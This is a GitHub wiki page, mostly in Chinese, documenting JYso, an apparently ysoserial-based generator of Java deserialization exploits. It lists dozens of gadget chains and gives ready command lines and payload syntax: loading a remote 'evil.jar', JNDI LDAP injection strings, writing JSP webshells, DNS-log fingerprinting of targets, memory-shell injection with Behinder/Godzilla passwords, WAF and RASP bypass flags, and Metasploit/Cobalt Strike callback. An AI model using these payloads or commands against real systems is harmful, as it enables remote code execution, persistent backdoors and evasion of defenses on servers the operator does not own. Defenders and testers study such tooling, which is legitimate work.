Skip to content

6、Gadget

炁 edited this page Nov 13, 2024 · 8 revisions

使用参数和链子

[root]#~  Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
[root]#~  Available payload types:
     Payload                                     Authors                                Dependencies                                                                                                                                                                        
     -------                                     -------                                ------------                                                                                                                                                                        
     AspectJWeaver                               @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                
     AspectJWeaver2                              @QI4L                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                    
     BeanShell1                                  @pwntester, @cschneider4711            bsh:2.0b5
     BeanShell2                                  @killer                                bsh:2.0b1                                                                                                                                                                         
     C3P0                                        @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                          
     C3P02                                       @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35                                                                                                           
     C3P03                                       @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9                                                                                                              
     C3P04                                       @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30                                                                                                            
     C3P092                                      @mbechler                              c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11                                                                                                                   
     C3P0JDBC                                    @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                               
     C3P0JNDI                                    @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                               
     C3P0JNDI2                                   @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X
     Click1                                      @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0                                                                                                                                         
     Clojure                                     @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                       
     CommonsBeanutils1                           @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                               
     CommonsBeanutils1183NOCC                    @QI4L                                  commons-beanutils:1.8.3
     CommonsBeanutils2183NOCC                                                           commons-beanutils:1.8.3
     CommonsBeanutils3183                                                                                                                                                                 
     CommonsBeanutils1JDBC                       @QI4L                                  commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                               
     CommonsBeanutils2                           @CCKUAILONG                            commons-beanutils:1.9.2                                                                                                                                                             
     CommonsBeanutils2JDBC                       @QI4L                                  commons-beanutils:1.9.2  
     CommonsBeanutils3
     CommonsBeanutils4
     CommonsBeanutils5                                                                  commons-beanutils:1.6.1                                                                                         
     CommonsBeanutils2NOCC                                                              commons-beanutils:1.8.3, commons-logging:1.2                                                                                                                                        
     CommonsBeanutilsAttrCompare                 @水滴                                   commons-beanutils:1.9.2                                                                                                                                                           
     CommonsBeanutilsAttrCompare183              @SummerSec                             commons-beanutils:1.8.3                                                                                                                                                             
     CommonsBeanutilsObjectToStringComparator    @水滴                                   commons-beanutils:1.9.2, commons-lang3:3.10                                                                                                                                       
     CommonsBeanutilsObjectToStringComparator183 @SummerSec                             commons-beanutils:1.8.3, commons-lang3:3.10                                                                                                                                         
     CommonsBeanutilsPropertySource              @SummerSec                             commons-beanutils:1.9.2, log4j-core:2.17.1                                                                                                                                          
     CommonsBeanutilsPropertySource183           @SummerSec                             commons-beanutils:1.9.2, log4j-core:2.17.1                                                                                                                                          
     CommonsCollections1                         @frohoff                               commons-collections:3.1                                                                                                                                                                                                                                                                                                                    
     CommonsCollections2                         @frohoff                               commons-collections4:4.0                                                                                                                                                            
     CommonsCollections3                         @frohoff                               commons-collections:3.1                                                                                                                                                             
     CommonsCollections4                         @frohoff                               commons-collections4:4.0                                                                                                                                                            
     CommonsCollections5                         @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                             
     CommonsCollections6                         @matthias_kaiser                       commons-collections:3.1                                                                                                                                                             
     CommonsCollections7                         @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                             
     CommonsCollections8                         @navalorenzo                           commons-collections4:4.0                                                                                                                                                            
     CommonsCollections9                         @梅子酒                                 commons-collections:3.2.1                                                                                                                                                        
     CommonsCollections10                                                               commons-collections:3.2.1                                                                                                                                                           
     CommonsCollections11                                                                                                                                                                                                                                                   
     CommonsCollections12                                                               commons-collections:3.2.1
     CommonsCollections13                        @Jayl1n                                commons-collections:3.2.1
     CommonsCollections14                        @Unam4                                 commons-collections:3.1                                             
     CommonsCollections15                        @Unam4                                 commons-collections:3.1                                             
     CommonsCollections16                        @Unam4                                 commons-collections:3.1, jdk<=8u70
     CommonsCollectionsK1                                                               commons-collections:3.1                                                                                                                                                                                                                                                                                                                                                    
     CommonsCollectionsK2                                                               commons-collections:4.0                                                                                                                                                             
     CommonsCollectionsK3                        @matthias_kaiser                       commons-collections:3.1                                                                                                                                                             
     CommonsCollectionsK4                        @matthias_kaiser                       commons-collections:4.0                                                                                                                                                             
     CommonsCollectionsK5                        @QI4L                                  commons-collections:4.0                                                                                                                                                             
     CommonsCollectionsK6                        @QI4L                                  commons-collections:4.0                                                                                                                                                             
     Fastjson1                                                                                                                                                                                                                                                              
     Fastjson2
     FileUpload1                                                                                                                                                                                                                                                              
     Groovy1                                     @frohoff                               groovy:2.3.9                                                                                                                                                                        
     Groovy2                                     @Unam4                                 groovy <2.4.3
     Hibernate1                                  @mbechler                              hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1                                                                     
     Hibernate2                                  @mbechler                              hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1                                                                     
     JBossInterceptors1                          @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                            
     JRE8u20                                     @frohoff                                                                                                                                                                                                                   
     JRE8u20_2                                                                                                                                                                                                                                                              
     JRMPClient                                  @mbechler                                                                                                                                                                                                                  
     JRMPClient_Activator                        @mbechler                                                                                                                                                                                                                  
     JRMPClient_Obj                              @mbechler                                                                                                                                                                                                                  
     JRMPListener                                @mbechler                                                                                                                                                                                                                  
     JSON1                                       @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     Jackson                                                                                                                                                                                                                                                                
     JacksonLdapAttr                                                                                                                                                                                                                                                        
     JavassistWeld1                              @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                        
     Jdk7u21                                     @frohoff                                                                                                                                                                                                                   
     Jdk7u21variant                              @potats0                                                                                                                                                                                                                   
     Jython1                                     @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                             
     MozillaRhino1                               @matthias_kaiser                       js:1.7R2                                                                                                                                                                            
     MozillaRhino2                               @_tint0                                js:1.7R2                                                                                                                                                                            
     Myfaces1                                    @mbechler                                                                                                                                                                                                                  
     Myfaces2                                                                                                                                                                                                                                                               
     ROME                                        @mbechler                              rome:1.0                                                                                                                                                                            
     ROME2                                                                              rome:1.0               
     ROME3                                       @Firebasky                             rome:1.0                                                                                                                                                             
     RenderedImage                                                                      jai-codec-1.1.3                                                                                                                                                                     
     SignedObject                                                                                                                                                                                                                                                           
     Spring1                                     @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                               
     Spring2                                     @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                           
     Spring3                                                                            spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2                                                                                                    
     URLDNS                                      @gebl                                                                                                                                                                                                                      
     Vaadin1                                     @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                          
     Wicket1                                     @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                 



usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-gen] [-gzk <arg>] [-h] [-hk <arg>] [-ht <arg>] [-hv <arg>] [-i] [-mcl] [-n <arg>] [-ncs] [-o] [-p
       <arg>] [-pw <arg>] [-rh] [-u <arg>] [-yso <arg>]
 -b64,--base64                               base64编码输出结果
 -ch,--cmd-header <arg>                      请求头,将命令传递给执行,默认[X-Token-Data]
 -dcfp,--define-class-from-parameter <arg>   使用 DefineClassFromParameter 时自定义参数名称
 -dl,--dirty-length <arg>                    使用类型 1 或 3 时的脏数据长度/使用类型 2 时的嵌套循环计数
 -dt,--dirty-type <arg>                      利用脏数据绕过WAF,类型:1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET
 -f,--file <arg>                             将输出写入 FileOutputStream(指定文件名)
 -g,--gadget <arg>                           Java deserialization gadget
 -gen,--gen-mem-shell                        将内存 Shell 类保存为class文件
 -gzk,--godzilla-key <arg>                   Godzilla key,default [key]
 -h,--hide-mem-shell                         对检测工具隐藏内存外壳(类型2仅支持SpringControllerMS)
 -he1,--Hessian1                             Hessian1 Output
 -he2,--Hessian2                             Hessian2 Output
 -hk,--header-key <arg>                      MemoryShell 标头检查,请求标头密钥,默认 [Referer]
 -ht,--hide-type <arg>                       隐藏内存shell,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/
 -hv,--header-value <arg>                    MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/]
 -i,--inherit                                是否让payload继承AbstractTranslet(低版本的JDK如1.6应该继承)
 -mcl,--mozilla-class-loader                 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader
 -n,--gen-mem-shell-name <arg>               设置MemShell类文件名
 -ncs,--no-com-sun                           强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl
 -o,--obscure                                使用反射绕过RASP
 -p,--parameters <arg>                       Gadget parameters
 -pw,--password <arg>                        Behinder 或 Godzilla 密码,默认 [p@ssw0rd]
 -rh,--rhino                                 使用Rhino Engine 把内存马代码转换为JS
 -u,--url <arg>                              MemoryShell绑定url模式,默认[/QI4L]
 -utf,--utf8-Overlong-Encoding               UTF-8 Overlong Encoding Bypass waf
 -x,--XStream <arg>                          Generate Xstream serialization xml
 -y,--ysoserial <arg>                        Java deserialization


Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
If you want your payload being extremely short,you could just use:
java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser

使用说明

本项目为其拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:

  • TS :Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10

  • RC :Remote Call - 通过 URLClassLoader.loadClass() 来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass

  • WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-/tmp/shell#d2hvYW1p

  • PB :ProcessBuilder 通过 ProcessBuilder.start() 来执行系统命令,使用命令 PB-lin-d2hvYW1p / PB-win-d2hvYW1p分别在不同操作系统执行命令

  • SE :ScriptEngine - 通过 ScriptEngineManager.getEngineByName('js').eval() 来解析 JS 代码调用 Runtime 执行命令,使用命令 SE-d2hvYW1

  • DL :DNS LOG - 通过 InetAddress.getAllByName() 来触发 DNS 解析,使用命令 DL-xxxdnslog.cn

  • HL :HTTP LOG - 通过 URL.getContent() 来触发 HTTP LOG,使用命令 HL-http://xxx.com

  • BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() 来加载 BCEL 类字节码,使用命令 BC-$BCEL$xxx,也可以使用 BC-EX-TomcatEchoBC-LF-/tmp/aaa.class 来执行高级功能

  • JD :JNDI Lookup - 通过 InitialContext.lookup() 来触发 JNDI 注入,使用命令 JD-ldap://xxx/xx

  • 其他:普通命令执行 - 通过 Runtime.getRuntime().exec() 执行系统命令,使用命令 whoami

这里需要注意的是,使用 PB 执行系统命令、WF 写入文件的内容、SE 执行命令时,为了防止传参错误,需要 对传入的命令使用 base64 编码

除了上面的利用,项目也通过 ScriptEngineManager 执行 JS 的方式支持了 EX- 的写法,也就是说针对 ChainedTransformer 利用方式也可以打入内存马或回显。

使用示例

JNDI中同理

ldap://127.0.0.1:1389/Deserialization/CommonsCollections1/command/Base64/[base64_encoded_DL-xxx.org])

命令执行示例:

java -jar JYso-[version].jar -y -g CommonsCollections1 -p PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==

DNSLOG示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'DL-xxx.org'

脚本引擎解析 JS 代码示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'SE-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='

文件写入示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'WF-/tmp/1.jsp#PCVAcGFnZSBwYWdlR.....'

触发 JNDI 查询注入示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'JD-ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='

普通命令执行示例

java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'open -a Calculator.app'

更多使用可以看链子对应代码处的具体注释。

任意自定义代码

如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader 并使用了字节码缩短技术,减少Payload体积

示例:

java -jar JYso-[version].jar -y -g CommonsCollections3 -p LF-/tmp/evil.class -f cc3.ser

对于 TemplatesImpl 使用该功能不会直接打印在回显上,需要-f来保存在使用

URLDNS 探测目标类

为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容:

DNSLOG 关键字 对应链 关键类 备注
cc31or321
cc322
CommonsCollections13567 org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.ExtendedProperties$1
CommonsCollections1/3/5/6/7
需要<=3.2.1版本
cc40
cc41
CommonsCollections24 org.apache.commons.collections4.functors.ChainedTransformer
org.apache.commons.collections4.FluentIterable
CommonsCollections2/4链
需要4-4.0版本
cb17
cb18x
cb19x
CommonsBeanutils2 org.apache.commons.beanutils.MappedPropertyDescriptor$1
org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry
org.apache.commons.beanutils.BeanIntrospectionData
1.7x-1.8x为-3490850999041592962
1.9x为-2044202215314119608
c3p092x
c3p095x
C3P0 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
com.mchange.v2.c3p0.test.AlwaysFailDataSource
0.9.2pre2-0.9.5pre8为7387108436934414104
0.9.5pre9-0.9.5.5为7387108436934414104
ajw AspectJWeaver org.aspectj.weaver.tools.cache.SimpleCache AspectJWeaver,需要cc31
bsh20b4
bsh20b5
bsh20b6
bsh bsh.CollectionManager$1
bsh.engine.BshScriptEngine
bsh.collection.CollectionIterator$1
2.0b4为4949939576606791809
2.0b5为4041428789013517368
2.0.b6无法反序列化
groovy1702311
groovy24x
groovy244
Groovy org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet
groovy.lang.Tuple2
org.codehaus.groovy.runtime.dgm$1170
2.4.x为-8137949907733646644
2.3.x为1228988487386910280
becl Becl com.sun.org.apache.bcel.internal.util.ClassLoader JDK<8u251
Jdk7u21 Jdk7u21 com.sun.corba.se.impl.orbutil.ORBClassLoader JDK<=7u21
JRE8u20 JRE8u20 javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1 7u25<=JDK<=8u20
这个检测不完美,8u25版本以及JDK<=7u21会误报
可综合Jdk7u21来看
linux
windows
winlinux sun.awt.X11.AwtGraphicsConfigData
sun.awt.windows.WButtonPeer
windows/linux版本判断
jackson2100 jackson com.fasterxml.jackson.databind.node.NodeSerialization
ROME ROME com.sun.syndication.feed.impl.ToStringBean
com.rometools.rome.feed.impl.ObjectBean
SpringAOP fastjon
jackson
org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource
fastjson fastjon com.alibaba.fastjson.JSONArray
jdk17_22 jdk.internal.util.random.RandomSupport
jdk9_22 jdk.internal.misc.Unsafe
jdk6_8 sun.misc.BASE64Decoder
jdk6_11 com.sun.awt.SecurityWarning
jdk9_10 jdk.incubator.http.HttpClient
all 全部检测
jndiall
jndiall 关键类 说明
org.apache.naming.factory.BeanFactory 最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法
org.apache.catalina.filters.
CsrfPreventionFilter$NonceCache
tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString
javax.el.ELProcessor 和BeanFactory最经典的配合
org.yaml.snakeyaml.Yaml 知名YAML序列化,可以跟BeanFactory配合
com.thoughtworks.xstream.XStream 知名XML序列化,可以跟BeanFactory配合
org.mvel2.sh.ShellSession mvel语法,可以跟BeanFactory配合
org.apache.tomcat.jdbc.naming.
GenericNamingResourcesFactory
高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性
org.apache.commons.configuration.
SystemConfiguration
配合GenericNamingResourcesFactory可以篡改jdk环境变量
org.apache.commons.configuration2.
SystemConfiguration
配合GenericNamingResourcesFactory可以篡改jdk环境变量
org.apache.groovy.util.SystemUtil groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量
org.apache.batik.swing.JSVGCanvas 远程加载svg造成XSS,XXE,RCE
org.apache.catalina.users.
MemoryUserDatabaseFactory
配合UserDatabase可以XXE,写文件
org.apache.catalina.UserDatabase 配合MemoryUserDatabaseFactory可以XXE,写文件
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory 以下均为DataSourceFactory,可以造成jdbc
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.commons.dbcp.BasicDataSourceFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
org.apache.tomcat.jdbc.pool.DataSourceFactory
com.alibaba.druid.pool.DruidDataSourceFactory
com.zaxxer.hikari.HikariJNDIFactory
org.h2.Driver h2 jdbc,可以RCE
org.postgresql.Driver postgresql,可以远程加载XML执行SPEL,可以写文件
org.springframework.context.support.
ClassPathXmlApplicationContext
postgresql RCE依赖spring环境
com.mysql.jdbc.Driver mysql,可以二次反序列化,可以读文件,可以XXE
com.mysql.cj.jdbc.Driver
com.mysql.fabric.jdbc.FabricMySQLDriver
oracle.jdbc.driver.OracleDriver oracle,可以带出机器用户名
com.ibm.db2.jcc.DB2Driver db2,可以写文件
COM.ibm.db2.jcc.DB2Driver
com.ibm.ws.webservices.engine.client.
ServiceFactory
WebSphere的ObjectFactory,可以远程加载jar,很少用到
com.ibm.ws.client.applicationclient.
ClientJ2CCFFactory
oracle.ucp.jdbc.PoolDataSourceImpl 反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖
org.hibernate.service.jdbc.connections.
internal.DriverManagerConnectionProviderImpl
hibernate-core-4.x,比较低版本才有的类

本项目参考了 kezibei 师傅的 URLDNS 项目,实际情况可能有如下几种情况导致问题:

  • 反序列时遇到黑名单,可能导致后面的类的 dnslog 出不来;
  • 反序列化流程中由于种种情况报错可能导致出不来。

因此这里还是提供了 all/common/指定类 三种探测方式:

  • all:探测全部的类;
  • common:探测不常在黑名单中的 CommonsBeanutils2/C3P0/AspectJWeaver/bsh/winlinux;
  • 指定类:使用对应链中的关键字 CommonsCollections24:xxxx.dns.log 。

示例:all:xxx.dns.log

Base64编码all:dnslog地址,即可

java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log'
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log])

其他利用链的拓展

对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。

本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:

  • TS :Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10
  • RC :Remote Call - 通过 URLClassLoader.loadClass() 来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
  • WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-/tmp/shell#123
  • 其他:普通命令执行 - 通过 ProcessBuilder().start() 执行系统命令,使用命令 whoami

与之前的扩展类似,这里也不放截图了。

对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:EX-

SignedObject 二次反序列化 Gadget

用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)

利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;

大概包含如下几种可用的常见调用链:

  1. InvokerTransformer 调用任意方法(依赖 CC)
  2. BeanComparator 调用 getter 方法(依赖 CB)
  3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
  4. ToStringBean 调用全部 getter 方法(依赖 Rome)
  5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
  6. MemberBox 反射调用任意方法(依赖 rhino)
  • cc,cc4,cb,hibernate,rome,rhino,spring

  • 利用方式:

  • SignedObjectPayload -> 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型

  • JNDI-Injection-Exploit 用法:
ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:commonscollections6:[base64_encoded_cmd]:1::10000)
  • ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000" 

普通命令执行

  • JNDI-Injection-Exploit 用法:
${jndi:ldap://127.0.0.1:1389/[Basic or ELProcessor]/command/base64/[base64cmd]}
  • ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "calc" 

MSF/CS 上线

使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。